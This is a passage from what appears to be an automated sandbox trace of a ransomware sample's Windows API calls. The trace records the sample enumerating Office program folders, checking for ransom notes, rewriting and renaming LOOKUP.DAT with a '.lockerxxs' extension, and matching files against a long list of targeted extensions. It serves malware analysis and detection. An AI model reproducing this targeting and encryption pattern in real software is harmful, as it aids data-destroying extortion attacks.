(lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="SOLVER32.DLL") returned -1 [0065.858] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="SOLVER32.DLL") returned -1 [0065.858] lstrcmpiA (lpString1="", lpString2="SOLVER32.DLL") returned -1 [0065.858] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER\\SOLVER.XLAM") returned="SOLVER.XLAM" [0065.858] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER\\" [0065.858] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER\\") returned="" [0065.858] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER\\HOW TO DECRYPT FILES.txt" [0065.858] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\library\\solver\\how to decrypt files.txt")) returned 0x20 [0065.859] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER\\", lpString2="SOLVER32.DLL" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER\\SOLVER32.DLL") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER\\SOLVER32.DLL" [0065.859] FindNextFileA (in: hFindFile=0x502558, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a1ecf00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6a1ecf00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x36158, dwReserved0=0x0, dwReserved1=0x0, cFileName="SOLVER32.DLL", cAlternateFileName="")) returned 0 [0065.859] FindClose (in: hFindFile=0x502558 | out: hFindFile=0x502558) returned 1 [0065.859] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa671530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SOLVER", cAlternateFileName="")) returned 0 [0065.859] FindClose (in: hFindFile=0x502518 | out: hFindFile=0x502518) returned 1 [0065.860] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd5dfae80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xfafa0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="LOGELEMS.DLL", cAlternateFileName="")) returned 1 [0065.860] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0065.860] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="LOGELEMS.DLL") returned -1 [0065.860] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="LOGELEMS.DLL") returned -1 [0065.860] lstrcmpiA (lpString1="", lpString2="LOGELEMS.DLL") returned -1 [0065.860] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\*.*") returned="*.*" [0065.860] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0065.860] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0065.860] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt" [0065.860] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\how to decrypt files.txt")) returned 0x20 [0065.860] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\", lpString2="LOGELEMS.DLL" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\LOGELEMS.DLL") returned="C:\\Program Files\\Microsoft Office\\Office14\\LOGELEMS.DLL" [0065.860] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4ab4f00, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x82482540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb4ab4f00, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0xb590, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOGMODEL.MDL", cAlternateFileName="")) returned 1 [0065.866] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0065.867] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="LOGMODEL.MDL") returned -1 [0065.867] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="LOGMODEL.MDL") returned -1 [0065.867] lstrcmpiA (lpString1="", lpString2="LOGMODEL.MDL") returned -1 [0065.867] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\LOGELEMS.DLL") returned="LOGELEMS.DLL" [0065.867] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0065.867] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0065.867] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt" [0065.867] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\how to decrypt files.txt")) returned 0x20 [0065.867] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\", lpString2="LOGMODEL.MDL" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\LOGMODEL.MDL") returned="C:\\Program Files\\Microsoft Office\\Office14\\LOGMODEL.MDL" [0065.867] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c850300, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd5e93400, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1c850300, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x77da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOGVIEW.DLL", cAlternateFileName="")) returned 1 [0065.867] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0065.867] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="LOGVIEW.DLL") returned -1 [0065.867] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="LOGVIEW.DLL") returned -1 [0065.867] lstrcmpiA (lpString1="", lpString2="LOGVIEW.DLL") returned -1 [0065.867] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\LOGMODEL.MDL") returned="LOGMODEL.MDL" [0065.867] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0065.867] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0065.867] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt" [0065.867] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\how to decrypt files.txt")) returned 0x20 [0065.868] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\", lpString2="LOGVIEW.DLL" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\LOGVIEW.DLL") returned="C:\\Program Files\\Microsoft Office\\Office14\\LOGVIEW.DLL" [0065.868] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3ce9100, ftCreationTime.dwHighDateTime=0x1c21319, ftLastAccessTime.dwLowDateTime=0x6960cfd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc3ce9100, ftLastWriteTime.dwHighDateTime=0x1c21319, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOOKUP.DAT", cAlternateFileName="")) returned 1 [0065.868] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0065.868] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="LOOKUP.DAT") returned -1 [0065.868] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="LOOKUP.DAT") returned -1 [0065.868] lstrcmpiA (lpString1="", lpString2="LOOKUP.DAT") returned -1 [0065.868] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\LOGVIEW.DLL") returned="LOGVIEW.DLL" [0065.868] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0065.868] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0065.868] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt" [0065.868] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\how to decrypt files.txt")) returned 0x20 [0065.868] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\", lpString2="LOOKUP.DAT" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\LOOKUP.DAT") returned="C:\\Program Files\\Microsoft Office\\Office14\\LOOKUP.DAT" [0065.868] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\LOOKUP.DAT" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\LOOKUP.DAT") returned="C:\\Program Files\\Microsoft Office\\Office14\\LOOKUP.DAT" [0065.868] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\LOOKUP.DAT" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\LOOKUP.DAT") returned="C:\\Program Files\\Microsoft Office\\Office14\\LOOKUP.DAT" [0065.868] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\LOOKUP.DAT", lpString2="." | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\LOOKUP.DAT.") returned="C:\\Program Files\\Microsoft Office\\Office14\\LOOKUP.DAT." [0065.868] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\LOOKUP.DAT.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\LOOKUP.DAT.lockerxxs") returned="C:\\Program Files\\Microsoft Office\\Office14\\LOOKUP.DAT.lockerxxs" [0065.869] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\LOOKUP.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\lookup.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x88 [0065.870] GetFileSize (in: hFile=0x88, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x10000 [0065.870] GetFileTime (in: hFile=0x88, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xc3ce9100, dwHighDateTime=0x1c21319), lpLastAccessTime=0x407536*(dwLowDateTime=0x6960cfd0, dwHighDateTime=0x1d301bf), lpLastWriteTime=0x40753e*(dwLowDateTime=0xc3ce9100, dwHighDateTime=0x1c21319)) returned 1 [0065.870] SetFilePointer (in: hFile=0x88, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0065.870] ReadFile (in: hFile=0x88, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0xffda, lpOverlapped=0x0) returned 1 [0065.873] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\LOOKUP.DAT") returned="LOOKUP.DAT" [0065.873] SetFilePointer (in: hFile=0x88, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0065.873] WriteFile (in: hFile=0x88, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xffda, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xffda, lpOverlapped=0x0) returned 1 [0065.874] SetFileTime (hFile=0x88, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0065.874] CloseHandle (hObject=0x88) returned 1 [0065.875] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\LOOKUP.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\lookup.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\LOOKUP.DAT.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\lookup.dat.lockerxxs")) returned 1 [0065.877] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ae6c00, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x582d2010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe6ae6c00, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x65da0, dwReserved0=0x3000003, dwReserved1=0x4f6000, cFileName="MAPIPH.DLL", cAlternateFileName="")) returned 1 [0065.877] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0065.877] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MAPIPH.DLL") returned -1 [0065.877] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MAPIPH.DLL") returned -1 [0065.877] lstrcmpiA (lpString1="", lpString2="MAPIPH.DLL") returned -1 [0065.877] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\LOOKUP.DAT") returned="LOOKUP.DAT" [0065.877] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0065.877] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0065.877] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt" [0065.877] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\how to decrypt files.txt")) returned 0x20 [0065.878] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\", lpString2="MAPIPH.DLL" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL") returned="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL" [0065.878] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL", pszSpec="*.ems") returned 0 [0065.878] lstrlenA (lpString="*.ems") returned 5 [0065.878] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL", pszSpec="*.db") returned 0 [0065.878] lstrlenA (lpString="*.db") returned 4 [0065.878] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL", pszSpec="*.dbf") returned 0 [0065.878] lstrlenA (lpString="*.dbf") returned 5 [0065.878] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL", pszSpec="*.myox") returned 0 [0065.878] lstrlenA (lpString="*.myox") returned 6 [0065.878] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL", pszSpec="*.myo") returned 0 [0065.878] lstrlenA (lpString="*.myo") returned 5 [0065.878] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL", pszSpec="*.qbw") returned 0 [0065.878] lstrlenA (lpString="*.qbw") returned 5 [0065.878] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL", pszSpec="*.qbb") returned 0 [0065.878] lstrlenA (lpString="*.qbb") returned 5 [0065.878] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL", pszSpec="*.qbm") returned 0 [0065.878] lstrlenA (lpString="*.qbm") returned 5 [0065.878] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL", pszSpec="*.qbo") returned 0 [0065.878] lstrlenA (lpString="*.qbo") returned 5 [0065.878] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL", pszSpec="*.qbx") returned 0 [0065.878] lstrlenA (lpString="*.qbx") returned 5 [0065.878] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL", pszSpec="*.qba") returned 0 [0065.878] lstrlenA (lpString="*.qba") returned 5 [0065.878] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL", pszSpec="*.qby") returned 0 [0065.879] lstrlenA (lpString="*.qby") returned 5 [0065.879] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL", pszSpec="*.qbj") returned 0 [0065.879] lstrlenA (lpString="*.qbj") returned 5 [0065.879] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL", pszSpec="*.ofx") returned 0 [0065.879] lstrlenA (lpString="*.ofx") returned 5 [0065.879] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL", pszSpec="*.qif") returned 0 [0065.879] lstrlenA (lpString="*.qif") returned 5 [0065.879] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL", pszSpec="*.mye") returned 0 [0065.879] lstrlenA (lpString="*.mye") returned 5 [0065.879] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL", pszSpec="*.mbox") returned 0 [0065.879] lstrlenA (lpString="*.mbox") returned 6 [0065.879] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL", pszSpec="*.eml") returned 0 [0065.879] lstrlenA (lpString="*.eml") returned 5 [0065.879] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL", pszSpec="*.pst") returned 0 [0065.879] lstrlenA (lpString="*.pst") returned 5 [0065.879] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL", pszSpec="*.ost") returned 0 [0065.879] lstrlenA (lpString="*.ost") returned 5 [0065.879] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL", pszSpec="*.idx") returned 0 [0065.879] lstrlenA (lpString="*.idx") returned 5 [0065.879] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL", pszSpec="*.dbx") returned 0 [0065.879] lstrlenA (lpString="*.dbx") returned 5 [0065.879] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL", pszSpec="*.sql") returned 0 [0065.879] lstrlenA (lpString="*.sql") returned 5 [0065.879] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL", pszSpec="*.mdb") returned 0 [0065.879] lstrlenA (lpString="*.mdb") returned 5 [0065.879] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL", pszSpec="*.fdb") returned 0 [0065.879] lstrlenA (lpString="*.fdb") returned 5 [0065.879] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL", pszSpec="*.wab") returned 0 [0065.879] lstrlenA (lpString="*.wab") returned 5 [0065.879] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL", pszSpec="*.dat") returned 0 [0065.879] lstrlenA (lpString="*.dat") returned 5 [0065.880] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL", pszSpec="*.txt") returned 0 [0065.880] lstrlenA (lpString="*.txt") returned 5 [0065.880] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL", pszSpec="*.jpeg") returned 0 [0065.880] lstrlenA (lpString="*.jpeg") returned 6 [0065.880] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL", pszSpec="*.jpg") returned 0 [0065.880] lstrlenA (lpString="*.jpg") returned 5 [0065.880] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL", pszSpec="*.png") returned 0 [0065.880] lstrlenA (lpString="*.png") returned 5 [0065.880] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL", pszSpec="*.php") returned 0 [0065.880] lstrlenA (lpString="*.php") returned 5 [0065.880] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL", pszSpec="*.cs") returned 0 [0065.880] lstrlenA (lpString="*.cs") returned 4 [0065.880] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL", pszSpec="*.cpp") returned 0 [0065.880] lstrlenA (lpString="*.cpp") returned 5 [0065.880] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL", pszSpec="*.rar") returned 0 [0065.880] lstrlenA (lpString="*.rar") returned 5 [0065.880] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL", pszSpec="*.zip") returned 0 [0065.880] lstrlenA (lpString="*.zip") returned 5 [0065.880] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL", pszSpec="*.html") returned 0 [0065.880] lstrlenA (lpString="*.html") returned 6 [0065.880] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL", pszSpec="*.htm") returned 0 [0065.880] lstrlenA (lpString="*.htm") returned 5 [0065.880] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL", pszSpec="*.xlsx") returned 0 [0065.880] lstrlenA (lpString="*.xlsx") returned 6 [0065.880] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL", pszSpec="*.xls") returned 0 [0065.880] lstrlenA (lpString="*.xls") returned 5 [0065.881] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL", pszSpec="*.mp4") returned 0 [0065.881] lstrlenA (lpString="*.mp4") returned 5 [0065.881] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL", pszSpec="*.ppt") returned 0 [0065.881] lstrlenA (lpString="*.ppt") returned 5 [0065.881] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL", pszSpec="*.pptx") returned 0 [0065.881] lstrlenA (lpString="*.pptx") returned 6 [0065.881] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL", pszSpec="*.doc") returned 0 [0065.881] lstrlenA (lpString="*.doc") returned 5 [0065.881] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL", pszSpec="*.dot") returned 0 [0065.881] lstrlenA (lpString="*.dot") returned 5 [0065.881] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL", pszSpec="*.docx") returned 0 [0065.881] lstrlenA (lpString="*.docx") returned 6 [0065.881] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL", pszSpec="*.7z") returned 0 [0065.881] lstrlenA (lpString="*.7z") returned 4 [0065.881] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL", pszSpec="*.tar") returned 0 [0065.881] lstrlenA (lpString="*.tar") returned 5 [0065.881] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL", pszSpec="*.bz2") returned 0 [0065.881] lstrlenA 